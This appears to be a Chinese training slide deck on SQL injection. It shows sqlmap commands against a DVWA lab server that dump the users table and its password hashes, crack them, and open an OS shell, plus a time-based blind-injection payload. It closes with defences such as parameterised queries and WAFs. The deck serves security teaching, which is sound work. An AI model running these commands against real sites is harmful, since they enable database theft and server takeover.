32
IT Education & Training 《Web攻防》 04SQL Inject(3) 主讲:罗老师/BOBO

SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

  • Upload
    others

  • View
    8

  • Download
    0

Embed Size (px)

Citation preview

Page 1: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

《Web攻防》第04讲

SQL Inject(3)主讲:罗老师/BOBO

Page 2: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 2

SQL Inject

SQL Inject(1)

•SQL Inject漏洞概述

•SQL Inject漏洞攻击流程及注入类型

•实验:SQL Inject漏洞手动利用-数据库信息获取

SQL Inject(3)• SQLmap经典用法介绍

• SQLmap经典用法示例

• 实验:使用SQLmap进行

自动注入

• SQL Inject漏洞防范措施

• 更多信息

SQL Inject(2)

•实验:SQL Inject漏洞手动利用-OS权限获取

•实验:Burp Suit爆破数据库表名

Page 3: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject(3)课程内容

SQLmap经典用法介绍

实验:使用SQLmap进行自动注入

SQL Inject漏洞防范措施

更多信息

2018/6/9 3

Page 4: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQLmap简介

SQLmap是一款用来检测与利用SQL注入漏洞

的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

2018/6/9 4

Page 5: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

Win7安装SQLmap

步骤1:下载SqlMap.zip http://sqlmap.org/

步骤2:下载用于Windows系统的Python http://www.python.org/ftp/python/2.7.2/python-2.7.2.msi …

步骤3:Python2.7默认安装的路径是“C:\Python27”步骤4:解压SqlMap.zip里面,在python文件夹中创建一

个新的文件夹,并命名为“SqlMap”步骤5:选中文件sqlmap.py 右键创建桌面快捷方式 ,

点击快捷方式属性,目标那改为: %windir%\system32\cmd.exe

点击快捷方式,输入:sqlmap.py -help

2018/6/9 5

Page 6: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQLmap经典用法介绍(6步走)

步骤1:带上cookie对URL进行注入探测 -u "xxx" --cookie= "yyy"

步骤2:对数据库名进行获取 -u "xxx" --cookie= "yyy" -current-db

步骤3:对数据库的表名进行枚举 -u "xxx" --cookie= "yyy" -D dvwa --tables

步骤4:对数据库的表的列名进行枚举 -u "xxx" --cookie= "yyy" -D dvwa -T users --columns

步骤5:探测数据库表的密码列爆破 -u "xxx" --cookie= "yyy" -D dvwa -T users -C name,password --dump

步骤6:获取Shell,选择后台语言 -u "xxx" --cookie= "yyy" --os-shell

2018/6/9 6

Page 7: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

常用的使用选项 1、--cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low” 2、-u : 指定目标URL 3、-b : 获取DBMS banner 4、–current-db : 获取当前数据库 5、–current-user:获取当前用户 6、–string : 当查询可用时用来匹配页面中的字符串 7、–users : 枚举DBMS用户 8、--password : 枚举DBMS用户密码hash 9、–dbs: 枚举DBMS中的数据库 10、-D: 要枚举的DBMS数据库 11、--tables: 枚举DBMS数据库中的数据表 12、-T: 要枚举的DBMS数据库表 13、--columns : 枚举DBMS数据库表中的所有列 14、-C: 要枚举的DBMS数据表中的列 15、--dump : 转储DBMS数据表项 16、 --os-shell:获取shell 17、-v x //x=0~6 ,不同的级别显示不同程度的过程信息,数值越大,越详细 18、--purge-output //清除之前的缓存日志

2018/6/9 7

Page 8: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject(3)课程内容

SQLmap经典用法介绍

实验:使用SQLmap进行自动注入

SQL Inject漏洞防范措施

更多信息

2018/6/9 8

Page 9: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

实验:使用SQLmap进行自动注入

踩点注入

信息获取

密码破解

获取Shell

2018/6/9 9

Page 10: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 10

提交注入,记录URLhttp://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

记录Burp suite中的Cookiesecurity=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7

Page 11: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 11

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] nfor the remaining tests, do you want to include all tests for 'MySQL' extendingprovided level (1) and risk (1) values? [Y/n] yGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

Page 12: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 12

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" --current-db

current database: 'dvwa'

Page 13: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 13

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa --tables

Page 14: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 14

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa -T users --columns

Page 15: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 15

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" -D dvwa -T users -C user,password --dump

do you want to store hashes to a temporary file for eventual further processingwith other tools [y/N] ydo you want to crack them via a dictionary-based attack? [Y/n/q] Y

Page 16: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 16

sqlmap.py -u "http://192.168.2.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=0d4aldtrta0qf3lgg74u0neee7" --os-shell

Page 17: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SqlMap自动化渗透过程

步骤1:通过浏览器得到URL,通过Burp Suit得到Cookie

步骤2:通过URL和Cookie探测是否有注入点

步骤3:得到数据库

步骤4:通过数据库名得到该数据库中的数据表

步骤5:通过数据库名和数据表明得到该数据表的所有列

步骤6:列出数据表的指定列,如果有哈希密码,尝试解密

步骤7:得到服务器的Shell

2018/6/9 17

Page 18: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

可参考链接http://www.freebuf.com/articles/web/29942.html

Page 19: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject—blind Inject(盲注)

盲注

后台关闭了错误信息回显,对于测试人员来说,因为无法看到“反馈”信息,而无法直接进行判断。这种情况下,注入点仍然存在,只是手动利用起来会很麻烦。

使用sleep来进行基于时间的判断:

1’ and sleep(3)#

Page 20: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

Firebug简介

Firebug是网页浏览器 Mozilla Firefox下的一款开发类插件,现属于Firefox的五星级强力推荐插件之一。

它集HTML查看和编辑、Javascript控制台、网络状况监视器于一体,是开发 JavaScript、CSS、HTML和Ajax的得力助手。

Firebug如同一把精巧的瑞士军刀,从各个不同的角度剖析Web页面内部的细节层面,给Web开发者带来很大的便利。例如 Yahoo! 的网页速度优化建议工具 YSlow。

2018/6/9 20

Page 21: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

Firebug安装

进入附加组件之后,然后在搜索框中搜索Firebug附加组件,找到之后安装即可,安装完成后重启浏览器就行。

2018/6/9 21

Page 22: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 22

输入1’

输入1’ and ‘1’=‘1

Page 23: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 23

选择firebug,并打开:网络----保持—全部第一次输入:1’,用时63ms;第二次输入:1’ and sleep(3)#,用时3.07ms判断可能存在盲注。接着下来就给SqlMap跑即可。(留给同学们做)

Page 24: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training2018/6/9 24

盲注形成的原因Suppress :代替,抑制

Page 25: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject(3)课程内容

SQLmap经典用法介绍

实验:使用SQLmap进行自动注入

SQL Inject漏洞防范措施

更多信息

2018/6/9 25

Page 26: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject漏洞防范措施

代码层面

对输入进行严格的转义和过滤

使用参数化(将数据库语句和参数分离)

http://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

网络层面

通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

云端防护(阿里云盾等)

2018/6/9 26

Page 27: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

部分防注入代码说明

mysql_real_escape_string($id)

对单引号、双引号、斜杠进行转义

通过前段的下拉列表

但是可以被burp suit的repeater重放攻击

加入LIMIT

但是可以被#号注释掉

用token并用分离(PDO)

分离思想,难以注入

2018/6/9 27

Page 28: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject(3)课程内容

SQLmap经典用法介绍

实验:使用SQLmap进行自动注入

SQL Inject漏洞防范措施

更多信息

2018/6/9 28

Page 29: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

更多信息

SQL注射/SQL Injection漏洞http://drops.wooyun.org/papers/59

sqlmap用户手册http://drops.wooyun.org/tips/143

SQLMAP 实例COOKBOOKhttp://drops.wooyun.org/tips/1343

老外对数据库注入的介绍http://resources.infosecinstitue.com/blind-sql-

injection

2018/6/9 29

Page 30: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

SQL Inject(3)课程回顾

SQLmap经典用法介绍

实验:使用SQLmap进行自动注入

SQL Inject漏洞防范措施

更多信息

2018/6/9 30

Page 31: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

实验:使用SQLmap进行自动注入

2、请大家完成dvwa的盲注实验

Page 32: SQL Inject(3)€¦ · 步骤2:下载用于Windows系统的Python ... for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk

IT Education & Training

谢谢观看Thank You

2018/6/9 32